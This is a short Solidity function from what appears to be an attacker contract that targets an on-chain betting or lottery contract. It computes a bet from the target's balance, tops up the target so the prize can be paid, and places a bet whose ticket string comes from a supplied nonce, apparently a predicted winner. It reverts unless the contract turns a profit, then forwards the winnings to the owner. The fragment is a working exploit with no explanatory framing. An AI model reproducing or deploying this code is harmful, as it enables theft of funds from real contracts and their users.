function ping(uint256 _nonce, bool _keepBalance) public payable onlyOwner {
        uint256 ourBalanceInitial = address(this).balance;

        uint256 targetBalanceInitial = targetAddress.balance;
        uint256 betValue = targetBalanceInitial / 28;
        uint256 betValueReduced = betValue - ((betValue / 1000) * 133);
        uint256 targetBalanceAfterBet = targetBalanceInitial + betValueReduced;
        uint256 expectedPrize = (betValueReduced / 100) * 3333;
        
        if (expectedPrize > targetBalanceAfterBet) {
            uint256 throwIn = expectedPrize - targetBalanceAfterBet;
            targetAddress.transfer(throwIn);
        }

        string memory betString = ticketString(_nonce);
        TargetInterface target = TargetInterface(targetAddress);
        target.sendTXTpsTX.value(betValue)(betString, "");
        
        require(address(this).balance > ourBalanceInitial);
        
        if (!_keepBalance) {
            owner.transfer(address(this).balance);
        }
    }